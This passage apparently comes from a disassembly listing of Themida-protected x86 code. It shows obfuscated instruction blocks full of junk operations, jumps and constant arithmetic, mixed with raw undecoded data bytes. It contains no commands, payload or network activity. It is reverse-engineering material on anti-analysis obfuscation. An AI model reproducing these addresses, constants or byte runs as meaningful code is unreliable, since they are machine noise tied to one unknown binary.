		dd 0F7DAF75Eh, 9DEA81D2h, 81EDEE4Eh, 865451EBh,	81D30156h
		dd 865451C3h, 24148B56h, 4C481h, 0D9210000h, 0BBE9815Bh
		dd 816F4040h, 0DFDF4FF1h, 0E2E4E998h, 0B850FFFFh, 4, 48BC601h
		dd 0E0895024h, 405h, 40500h, 6DE90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553BDF:				; CODE XREF: Themida_:00565826j
		pop	eax
		push	ebx
		mov	ebx, 4
		push	ebx
		push	ecx
		mov	ecx, 400E2853h
		add	ecx, 57E02A31h
		not	ecx
		xor	ecx, 5A3D8B8Dh
		mov	ebx, ecx
		jmp	loc_55C142
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9F0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553C0A:				; CODE XREF: Themida_:0055F567j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_555F9B
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 83000000h,	0E0E904C4h
		db 19h,	1, 0
; ---------------------------------------------------------------------------


loc_553C27:				; CODE XREF: Themida_:00564E32j
		xor	edi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_559679
; ---------------------------------------------------------------------------
		dd 0E9243489h, 28Bh
; ---------------------------------------------------------------------------


loc_553C44:				; CODE XREF: Themida_:0055299Aj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_56022B
; ---------------------------------------------------------------------------


loc_553C5E:				; CODE XREF: Themida_:00560732j
		pop	esp
		add	edx, 1
		push	edi
		mov	edi, 0F8E9B69Bh
		jmp	loc_55CF6B
; ---------------------------------------------------------------------------


loc_553C6D:				; CODE XREF: Themida_:00559B98j
		pop	ebx
		add	eax, edi
		push	edi
		mov	edi, 4ED80370h
		jmp	loc_559E60
; ---------------------------------------------------------------------------


loc_553C7B:				; CODE XREF: Themida_:0055F590j
		add	esp, 4
		jmp	loc_56127A
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 5E3F3505h, 0A8E9871Fh, 83FFFFE6h, 1C8704C3h,	24248B24h
		dd 0BA46E955h, 0E5C10000h, 6DE95207h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553CAB:				; CODE XREF: Themida_:00554E1Bj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	ecx, [edx]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		push	eax
		push	7D88h
		mov	[esp], ebp
		mov	ebp, 40E351E2h
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 0BF1CAE22h
		mov	ebx, edi
		pop	edi
		jmp	loc_55C8F9
; ---------------------------------------------------------------------------


loc_553CE6:				; CODE XREF: Themida_:0055459Bj
		add	esp, 4
		add	ebp, eax
		pop	eax
		jmp	loc_556FC2
; ---------------------------------------------------------------------------


loc_553CF1:				; CODE XREF: Themida_:005619E2j
		sub	[esp], ebp
		jmp	loc_554765
; ---------------------------------------------------------------------------
		db 0BEh, 5Ch, 21h
		dd 0ED816B25h, 5B76671Ch, 62E1ED81h, 0F5295B9Ch, 62E1C581h
		dd 0C5815B9Ch, 5B76671Ch, 5DEA315Eh, 1F00E9h, 240C8900h
		dd 0C1815954h, 4, 0F207E9h, 0C8B6600h, 26E95724h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553D3B:				; CODE XREF: Themida_:00565775j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]


loc_553D44:				; CODE XREF: Themida_:00563C77j
		push	ecx
		jmp	loc_556F94
; ---------------------------------------------------------------------------


loc_553D4A:				; CODE XREF: Themida_:00561168j
		or	ebx, 6AB151C0h
		jmp	loc_55B692
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 1C396852h, 148B03A4h, 4C48124h, 81000000h, 9A2C4DF2h
		dd 731CE960h, 0FA310000h, 83243C8Bh, 685604C4h,	7D032300h
		dd 8BF2315Eh, 0C4832434h, 0DE36E904h, 0CF880000h, 51FE8852h
		dd 0EC88F588h, 24148B59h, 4C481h, 1C8B0000h, 4C48124h
		dd 53000000h, 0FFEF07E9h, 478FBAFFh, 0D1314B1Dh, 8CED815Ah
		dd 0E952C854h, 0FFFFE56Ah
; ---------------------------------------------------------------------------


loc_553DC4:				; CODE XREF: Themida_:0056639Aj
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_55487E
; ---------------------------------------------------------------------------
		dd 82BF5742h, 0C12C6803h, 0C78106EFh, 128D801Ch, 3C8BFA31h
		dd 4C48124h, 83000000h,	148904ECh, 0EDB85024h, 3171F437h
		dd 0E9042444h, 34C6h, 0E9515266h, 0FDC8h
; ---------------------------------------------------------------------------


loc_553E0C:				; CODE XREF: Themida_:00554C68j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55E685
; ---------------------------------------------------------------------------


loc_553E17:				; CODE XREF: Themida_:0055864Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	edi
		mov	edi, 3E094C00h
		mov	ebx, edi
		pop	edi
		shl	ebx, 4
		shr	ebx, 2
		not	ebx
		push	edx
		jmp	loc_556FB8
; ---------------------------------------------------------------------------
		db 89h
		dd 1E92434h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E4B:				; CODE XREF: Themida_:0055F7F3j
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		push	26C4h
		mov	[esp], esi
		mov	esi, 1
		sub	esp, 4
		jmp	loc_55A1DA
; ---------------------------------------------------------------------------


loc_553E70:				; CODE XREF: Themida_:00561A85j
		pop	ecx
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_555CF0
; ---------------------------------------------------------------------------


loc_553E81:				; CODE XREF: Themida_:0055B736j
		add	edi, 67AA9ECh
		and	ebx, edi
		pop	edi
		sub	ebx, 6002204h
		add	edx, ebx
		jmp	loc_55F595
; ---------------------------------------------------------------------------
		db 5
		dd 4, 1F3A68h, 240C8900h, 2B9h,	0BB535100h, 7B003C1Ch
		dd 2D5BD989h, 42FB3021h, 1000DE9h, 240C8900h, 240C8B54h
		dd 4C481h, 26E90000h, 0BE000094h, 53844BCDh, 55EF001h
		dd 3E125301h, 770D2D5Eh, 34FF15FEh, 20AFE924h, 77FF0001h
		dd 11589D1Ch, 0E99C2404h, 0FFFFD730h, 8A068h, 24148900h
		dd 0FB7364BAh, 2454015Bh, 24148B04h, 4C481h, 815B0000h
		dd 0FB7364EBh, 240C8B5Bh, 971CE9h, 88E58800h, 5958592Bh
		dd 8B2434FFh, 0C481241Ch, 4, 23B68h, 243C8900h,	0C781E789h
		dd 4, 8704C783h, 248B243Ch, 0D6D6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F52:				; CODE XREF: Themida_:00565FCCj
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	5709h
		mov	[esp], eax
		mov	eax, esp
		push	2800h
		mov	[esp], ebp
		mov	ebp, 4
		sub	eax, 4EF03DDBh
		jmp	loc_55B1B4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_551640
; ---------------------------------------------------------------------------
		dw 7C29h
		dd 6C810424h, 0E0A0424h, 34FF3510h, 2434FF24h, 4C4815Fh
		dd 0E9000000h, 0BECh, 0E92434FFh, 9514h, 659568ACh, 14890000h
		dd 0E90AB224h, 7230h, 0E85966BDh, 61BF5759h, 8175DA17h
		dd 560FCEFh, 0E9FD29F7h, 0AF11h, 0B6224BBDh, 6E50E96Eh
		dd 0D3F70000h, 0F381D3F7h, 37771E85h, 1C8BDA01h, 816AE924h
		dd 0C3810000h, 4, 4EB81h, 16E90000h, 5E00007Bh,	87E9C821h
		dd 56000066h, 2D288FBEh, 0E9D6F75Bh, 0FFFFE489h, 37E9F028h
		dd 810000F7h, 71636EF3h, 5BDA2114h, 50CBE281h, 0C2817932h
		dd 0FFFFFFFFh, 597BBE56h, 0F2097B03h, 12CEE9h, 66476600h
		dd 0D7CEEF81h, 26B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_554055:				; CODE XREF: Themida_:0055E67Aj
		push	2903h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_556741
; ---------------------------------------------------------------------------
		db 1, 0EEh, 5Dh
		dd 0E9243433h, 0F1C9h, 55E9F0B1h, 5AFFFFF4h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 31241C33h, 0AAE9241Ch,	54000016h, 0FFEAE6E9h
		dd 8BD589FFh, 0C4812414h, 4, 565DE801h,	896AE9h, 49EA8100h
		dd 0FF75C64Fh, 6DE92434h, 810000DAh, 740C54C3h,	0BBE95D4Bh
		dd 68000076h, 647Eh, 0FF243489h, 5E042474h, 0FFF101E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5540D9:				; CODE XREF: Themida_:00554D34j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_556D9A
; ---------------------------------------------------------------------------


loc_5540E4:				; CODE XREF: Themida_:0055D696j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		jmp	loc_55BF5D
; ---------------------------------------------------------------------------
		db 53h
		dd 0F8E9E389h, 0F700008Bh, 4EDC1DDh, 3597E9h, 9F686600h
		dd 0F57CE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55410E:				; CODE XREF: Themida_:00563D19j
		push	eax
		mov	ah, 0F7h
		inc	ah
		jmp	loc_55FE81
; ---------------------------------------------------------------------------


loc_554118:				; CODE XREF: Themida_:0055C19Bj
		or	ebp, 37DB45D7h
		sub	ebp, 7FDB25D7h
		jmp	loc_558E88
; ---------------------------------------------------------------------------


loc_554129:				; CODE XREF: Themida_:005584D4j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56321D
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0D4DAE99Ch, 0B951FFFFh, 7F7D2CE9h
		dd 40B2B850h, 472D1CFEh, 319FB1EDh, 0E9C158C1h,	8347E908h
		dd 0E7890000h, 5DA968h,	24148900h, 72CFE9h, 2DE80100h
		dd 6944215Dh, 81242C8Bh, 4C4h, 40FAE900h, 0C2810000h, 4
		dd 4EA81h, 14870000h, 34895C24h, 7CE46824h, 8F540000h
		dd 53562404h, 9EE9E389h, 0B800004Bh, 30h, 5DCFE9h, 0F4BE5600h
		dd 1ABC592h, 0BDE95EF7h, 870000E4h, 895C2404h, 0E189240Ch
		dd 4BD55h, 0E9010000h, 81242C8Bh, 4C4h,	4C18100h, 87000000h
		dd 0E95C240Ch, 0E962h, 8B24048Fh, 29E92424h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5541FF:				; CODE XREF: Themida_:0055358Fj
		mov	ecx, 200000h
		push	307Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 1F666F08h
		jmp	loc_563412
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 0E95C2414h, 8B90h, 0FE24E480h, 3ECC0CCh
		dd 7CE26866h, 241C8966h, 0C7FED7B7h, 809ACF80h,	0FC0021EFh
		dd 0F88CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554251:				; CODE XREF: Themida_:0055222Dj
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_566095
; ---------------------------------------------------------------------------
		dd 8104C483h, 4FA5C0C5h, 5DE901AAh, 3304C183h, 0C31240Ch
		dd 240C3324h, 121B8E9h,	24448100h, 0DA545304h, 244C013Fh
		dd 246C8104h, 0DA545304h, 240C8B3Fh, 81E28952h,	4C2h, 4C28300h
		dd 5C241487h, 83242C8Bh, 0EC8304C4h, 241C8904h,	0EFB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542B5:				; CODE XREF: Themida_:00563655j
		xchg	ecx, [esp]
		jmp	loc_552C21
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 4C481h, 48F0000h,	4FE95C24h, 590000DEh, 24448166h
		dd 0E91B4502h, 82E7h, 33243C31h, 248B243Ch, 0D3B4E924h
		dd 14890000h, 0C93BA24h, 0C2815D80h, 38E75A5Ch,	66EBEA81h
		dd 22E99667h, 46000082h, 440BF681h, 0F001BEB2h,	6DBF575Eh
		dd 0E943AE0Ch, 0FFFFF184h
; ---------------------------------------------------------------------------


loc_55431C:				; CODE XREF: Themida_:005546EDj
		push	edx
		push	edi
		mov	edi, 54A31259h
		jmp	loc_565A13
; ---------------------------------------------------------------------------


loc_554328:				; CODE XREF: Themida_:00557112j
		add	esp, 4
		jmp	loc_5649DE
; ---------------------------------------------------------------------------
		db 80h
		dd 0EAC00DCAh, 4F28003h, 285AD488h, 0E95866E2h,	1E5Ah
; ---------------------------------------------------------------------------


loc_554348:				; CODE XREF: Themida_:00554884j
		push	ebp
		mov	ebp, 14776A31h
		jmp	loc_55AEE5
; ---------------------------------------------------------------------------
		db 97h
		dd 21E95358h, 81000103h, 4C4h, 4EC8300h, 68240C89h, 2B9A03BEh
		dd 2C815159h, 124h, 0C1815900h,	0D465FC47h, 0CB2BD55h
		dd 0EF01762Ch, 0A2F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_554389:				; CODE XREF: Themida_:005606FAj
		add	edi, 5D883A8Fh
		jmp	loc_55CB34
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFFD28Ch
; ---------------------------------------------------------------------------


loc_55439C:				; CODE XREF: Themida_:005626ECj
		shl	ebx, 3
		xor	ebx, 2FF0725Eh
		push	ebx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	ebx
		push	edi
		push	esi
		jmp	loc_55F26F
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 24048F00h, 0B60F665Ch,	756866C8h, 0C896651h, 0D256E924h
		dd 148BFFFFh, 4C48124h,	56000000h, 38BEB850h, 0B8683C8Bh
		dd 8900007Ch, 3CBA2414h, 2147B465h, 692D5AD0h, 0E9F9C61Dh
		dd 6863h, 0EB81F301h, 1AA56DE2h, 5828EB81h, 685E4609h
		dd 283Eh, 0BD242C89h, 126831A6h, 0E9E9EB31h, 0FF000018h
		dd 0E9042474h, 112E6h, 4246C81h, 46690385h, 0E92434FFh
		dd 0BED7h, 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFD1E0h
; ---------------------------------------------------------------------------


loc_554448:				; CODE XREF: Themida_:00562B51j
		mov	edx, [esp]
		jmp	loc_55974D
; ---------------------------------------------------------------------------
		dd 20B0BD55h, 814D3AD4h, 0E26A14CDh, 88C58147h,	8153F91Ah
		dd 0C337CE5h, 0DAFEE927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55446E:				; CODE XREF: Themida_:0055B77Dj
		pop	edi
		jmp	loc_55B55A
; ---------------------------------------------------------------------------
aQ8IXbaSEZbsnPl	db '¸q8Üi',9,'ÅXí³sÖE)ê])ÑZén',1Bh,'¸P‹,$ézÔ',0
		align 2
		dw 0E089h
		dd 405h, 2490E900h, 4890000h, 0E015E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544AA:				; CODE XREF: Themida_:00551D13j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_5544BF:				; CODE XREF: Themida_:0055389Fj
		mov	ecx, 38316052h
		jmp	loc_55BF56
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0C0830000h, 0EEDFE904h, 0B9FFFFh, 29000000h,	365CE9F9h
		dd 0BF570000h, 628E5F6Dh, 7043F781h, 0C7812333h, 1D2B15A0h
		dd 6357E9h, 55EF8900h, 8CE9FD89h
		db 4, 1, 0
; ---------------------------------------------------------------------------


loc_554503:				; CODE XREF: Themida_:0055A065j
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565B1C
; ---------------------------------------------------------------------------
		dw 0D730h
		dd 24148B66h, 0E902C483h, 7BF5h, 0F116A0BFh, 5DEF01E6h
		dd 295FFD01h, 0E2C2E9C5h, 6866FFFFh, 89665501h,	50662414h
		dd 0D0E6E99Ch, 24BDFFFFh, 55000000h, 2F242C81h,	587FAF40h
		dd 0F98EE9h
		db 0
; ---------------------------------------------------------------------------


loc_554555:				; CODE XREF: Themida_:0055D230j
		mov	eax, esp
		jmp	loc_56343F
; ---------------------------------------------------------------------------
		dd 0E4BC681h, 1585F3Dh,	34685EF7h, 89000025h, 0B4E9241Ch
		dd 6600008Bh, 6657664Eh, 665F6656h, 0D2E9535Eh,	8900011Bh
		dd 4C681E6h, 81000000h,	4EEh, 0CD2AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554596:				; CODE XREF: Themida_:0056136Bj
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_553CE6
; ---------------------------------------------------------------------------


loc_5545A0:				; CODE XREF: Themida_:0055F817j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_566217
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AB682404h, 0E9000050h, 39F9h
; ---------------------------------------------------------------------------


loc_5545C0:				; CODE XREF: Themida_:00555F20j
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		pop	eax
		jmp	loc_559B6A
; ---------------------------------------------------------------------------
		dd 0B0E95655h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5545D3:				; CODE XREF: Themida_:0055A5D7j
		sub	esi, 67D11C94h
		shl	esi, 7
		dec	esi
		sub	esi, 0DF914FF5h
		xor	eax, esi
		pop	esi
		not	eax
		add	eax, 1521AB4Bh
		sub	edx, 16C5021Eh
		add	edx, eax
		push	ebp
		jmp	loc_564245
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 1000000h, 0E9042454h, 9378h, 33C28159h, 166455Fh
		dd 8181E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55461A:				; CODE XREF: Themida_:0055533Ej
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55D4F7
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 112F8E9h, 4BE5600h, 1000000h,	5E042474h
		dd 5B2434FFh, 81E28952h, 4C2h, 4C28100h, 87000000h, 1FE92414h
		dd 8900008Ah, 4812424h,	424h, 24048B00h, 10523E9h, 0BABF5700h
		dd 0E91FCA1Eh, 52C2h
; ---------------------------------------------------------------------------


loc_554680:				; CODE XREF: Themida_:00562683j
		mov	ah, dl
		mov	cl, ah
		pop	eax
		mov	ah, cl
		pop	ecx
		jmp	loc_56559F
; ---------------------------------------------------------------------------


loc_55468D:				; CODE XREF: Themida_:00562CCBj
		xor	edx, eax
		sub	edx, 0EFE2E07Dh
		shr	edx, 2
		sub	edx, 5D5EC44Bh
		add	edi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55EB3D
; ---------------------------------------------------------------------------


loc_5546AB:				; CODE XREF: Themida_:0056112Dj
		mov	[esp], ecx
		push	7C21h
		mov	[esp], ebx
		pop	ecx
		push	1B47h
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_552D6D
; ---------------------------------------------------------------------------


loc_5546EB:				; CODE XREF: Themida_:0055A289j
		pop	ecx
		push	ebx
		jmp	loc_55431C
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 22014EF6h, 81E6D173h, 0F164AAF6h, 0E9F331C7h, 0B4A3h
; ---------------------------------------------------------------------------


loc_554708:				; CODE XREF: Themida_:0055260Bj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_56554E
; ---------------------------------------------------------------------------
		dw 84BDh
		dd 810D6A08h, 6A0880F5h, 0FCF7E90Dh, 248B0000h,	240CFE24h
		dd 0CEF2E99Ch, 34FFFFFFh, 24048B24h, 5704C483h,	0C781E789h
		dd 4, 6ABFBA52h, 1FE970F8h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554753:				; CODE XREF: Themida_:0055580Ej
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 280C0838h
		jmp	loc_55A745
; ---------------------------------------------------------------------------


loc_554765:				; CODE XREF: Themida_:00553CF4j
		pop	ebp
		xor	ebp, 3FA52787h
		push	esi
		mov	esi, 7296132Ah
		jmp	loc_559577
; ---------------------------------------------------------------------------
a0Zsvs		db '0×ZéV‘',0
		db 0
; ---------------------------------------------------------------------------


loc_55477F:				; CODE XREF: Themida_:00565347j
		xchg	ebp, [esp]
		jmp	loc_551B1E
; ---------------------------------------------------------------------------


loc_554787:				; CODE XREF: Themida_:0056641Bj
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_556B88
; ---------------------------------------------------------------------------
		dd 131DE605h, 0E9D0290Ah, 45C5h, 2D42BA52h, 0D00122DFh
		dd 5324148Bh, 10083E9h,	0EA805B00h, 26EA80DFh, 0D328A2B3h
		dd 5F41E9h, 74F58100h, 0E9A884B7h, 0F04Eh, 4EC81h, 3C890000h
		dd 516BE924h, 87660000h, 0FD8DE9F7h, 5658FFFFh,	0C681E689h
		dd 4, 5C3868h, 243C8900h, 468h,	0FE015F00h, 2434875Fh
		dd 1C57215Ch, 0E92434FFh, 75C9h, 5422C781h, 0C7810D79h
		dd 9E13A81h, 0EF81DF29h, 9E13A81h, 37F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554829:				; CODE XREF: Themida_:00553238j
		add	[edi+24h], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_561E20
; ---------------------------------------------------------------------------
		db 81h
		dd 0E3546EEAh, 5AD6892Eh, 171568h, 241C8900h, 0E216F5BBh
		dd 0A41CE97Ch, 0E3280000h, 0E92434FFh, 0E904h, 8850E188h
		dd 0A9FE9C8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_554866:				; CODE XREF: Themida_:0055DD8Aj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_552FF9
; ---------------------------------------------------------------------------


loc_554871:				; CODE XREF: Themida_:00562B9Bj
		add	[esp+4], ebx
		pop	ebx
		mov	edi, [esp]
		jmp	loc_55214B
; ---------------------------------------------------------------------------


loc_55487E:				; CODE XREF: Themida_:00553DCFj
		add	esp, 4
		jmp	loc_554348
; ---------------------------------------------------------------------------


loc_554889:				; CODE XREF: Themida_:0056460Aj
		xchg	ebx, esi
		jmp	loc_564AD5
; ---------------------------------------------------------------------------
		dd 106268h, 11B5E900h, 74FF0001h, 8F5E0424h, 835C2404h
		dd 0C8904ECh, 55E18924h, 29D468h, 24048900h, 0B05A44B8h
		dd 8BC58955h, 9DE92404h, 5FFFFF9h, 46790370h, 0E9242C8Bh
		dd 0A15Ch, 0FF31E981h, 0CE89FFF7h, 0E9F18959h, 0CCADh
		dd 0E9241489h, 18EFh
; ---------------------------------------------------------------------------


loc_5548E8:				; CODE XREF: Themida_:0055C842j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 706866C3h, 3C896601h, 74FF6624h, 38E90224h, 510000A3h
		dd 0A238868h, 0D1F7595Bh, 0FB6EE9h, 2AF18100h, 0E974A023h
		dd 0FFFFF13Ah, 0E9243433h, 591Ah, 5C241C87h, 83242489h
		dd 0FF042404h, 53592434h, 0C381E389h, 4, 8704C383h, 815C241Ch
		dd 4ECh, 242C8900h, 0D62544BDh,	0C1EDD142h, 0F58103E5h
		dd 0B589514h, 1CADE981h, 0BDE94260h, 4A00000Eh,	25BDBB53h
		dd 0DA312BFCh, 83241C8Bh, 0E95204C4h, 1107Ah, 8104C483h
		dd 465B8CC7h, 81C7014Ch, 465B8CEFh, 2434FF4Ch, 4EC8358h
		dd 9E9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_554995:				; CODE XREF: Themida_:005591AFj
		inc	ebp
		sub	ebp, 27EF3780h
		xor	ebp, 0E7C7A0E0h
		xor	ecx, ebp
		pop	ebp
		xor	edx, ecx
		pop	ecx
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	3765h
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_56501F
; ---------------------------------------------------------------------------
		db 2Dh,	93h, 0Fh
		dd 6A055631h, 5E72D80Fh, 8904EC83h, 7EBD242Ch, 0F76DD14Bh
		dd 4EC81DDh, 89000000h,	0D6B9240Ch, 0F769724Dh,	91E181D1h
		dd 0F74B5149h, 2E9C1D9h, 68E968h, 6751E900h, 30AC0000h
		dd 0E18951D8h, 0FFD720E9h, 0C2815AFFh, 4, 8704C283h, 0FBE92414h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A1F:				; CODE XREF: Themida_:00560A6Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	4911h
		mov	[esp], edi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55F5CC
; ---------------------------------------------------------------------------


loc_554A43:				; CODE XREF: Themida_:00554F47j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 38890758h
		jmp	loc_55FC9A
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 81E78957h, 4C7h, 90BD5500h, 0C179241Ah, 0DDF703E5h
		dd 0C144E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A7E:				; CODE XREF: Themida_:00559C05j
		push	ebx
		mov	ebx, 270112CFh
		add	[esp+8], ebx
		pop	ebx
		push	edx
		mov	edx, 729F089Ch
		sub	[esp+8], edx
		pop	edx
		add	dword ptr [esp+4], 77527DFFh
		sub	[esp+4], esi
		jmp	loc_5523EC
; ---------------------------------------------------------------------------


loc_554AA5:				; CODE XREF: Themida_:0055EB75j
		mov	[esp], esi
		jmp	loc_56472B
; ---------------------------------------------------------------------------


loc_554AAD:				; CODE XREF: Themida_:00564EE1j
		sub	ebx, 1709557Ch
		jmp	loc_5652B1
; ---------------------------------------------------------------------------
		dd 0D6F5815Dh, 8124FC03h, 0DDC553EDh, 8BE889A9h, 0E7E9242Ch
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554ACF:				; CODE XREF: Themida_:0055A2CFj
		not	edx
		not	edx
		shr	edx, 6
		add	edx, 3ECD24B8h
		neg	edx
		push	ecx
		jmp	loc_551C30
; ---------------------------------------------------------------------------
		dd 59CE015Ch, 4B951h, 0CE290000h, 24348759h, 0CAE0E95Ch
		dd 20BD0000h, 451E096Bh, 447E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B05:				; CODE XREF: Themida_:005554DAj
		add	edx, 75DD2C34h
		add	edx, eax
		sub	edx, 75DD2C34h
		pop	eax
		jmp	loc_55B0FC
; ---------------------------------------------------------------------------


loc_554B19:				; CODE XREF: Themida_:0055EFC8j
		push	416Ah
		mov	[esp], ebx
		push	61906094h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 20264532h
		jmp	loc_5627FC
; ---------------------------------------------------------------------------


loc_554B37:				; CODE XREF: Themida_:005567FAj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561F2A
; ---------------------------------------------------------------------------


loc_554B4A:				; CODE XREF: Themida_:0055BB84j
		mov	esi, 299C1FDAh
		jmp	loc_55AC19
; ---------------------------------------------------------------------------
		dd 0C002C483h, 0C28005E2h, 0E9D32898h, 10B49h, 81243C8Bh
		dd 4C4h, 0FF595200h, 515A2434h,	0B8505954h, 4ECA46EDh
		dd 6C4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_554B81:				; CODE XREF: Themida_:00558CDDj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564EDC
; ---------------------------------------------------------------------------
		dd 4C481h, 0BA520000h, 7BD86BA5h, 4245429h, 4EC815Ah, 0E9000000h
		dd 0FFFFDEFFh, 31243433h, 34332434h, 24248B24h,	0E9243489h
		dd 0FFFFDB03h, 88E9F229h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BCF:				; CODE XREF: Themida_:005617ADj
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dd 2D08E0C1h, 110D285Eh, 0FFEB1DE9h, 0A4E95DFFh, 5B00000Ah
		dd 4C481h, 0BA520000h, 0A8C296Fh, 0AD2BE9h, 64E95B00h
		dd 8100008Eh, 4C4h, 66F82800h, 88B4505Bh, 5158E328h, 0E5C080B5h
